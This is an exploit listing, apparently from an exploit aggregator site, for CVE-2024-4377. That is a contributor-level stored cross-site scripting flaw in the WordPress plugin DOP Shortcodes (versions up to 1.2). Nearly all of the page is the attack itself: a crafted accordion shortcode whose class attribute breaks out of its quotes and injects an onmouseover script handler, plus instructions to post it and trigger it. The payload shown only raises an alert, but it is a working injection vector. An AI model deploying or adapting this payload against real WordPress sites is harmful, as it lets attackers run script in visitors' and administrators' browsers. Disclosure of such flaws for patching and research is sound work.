Exploit for DOP Shortcodes <= 1.2 - Contributor+ Stored XSS via Shortcode CVE-2024-4377

Name: Exploit for DOP Shortcodes <= 1.2 - Contributor+ Stored XSS via Shortcode CVE-2024-4377
Rating: 5 (24 reviews)

2024-05-31 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:778CEBEC-BDBB-4538-9518-C5BD50F76961
Add the following shortcode to a post:

```
[dopaccordions class='wp-block-search__button" onmouseover="alert(/XSS/)"']
[dopaccordion title="Title 1"]text[/dopaccordion]
[dopaccordion title="Title 2"]text[/dopaccordion]
[dopaccordion title="Title 3"]text[/dopaccordion]
[/dopaccordions]
```

Move your mouse over the accordion to see the XSS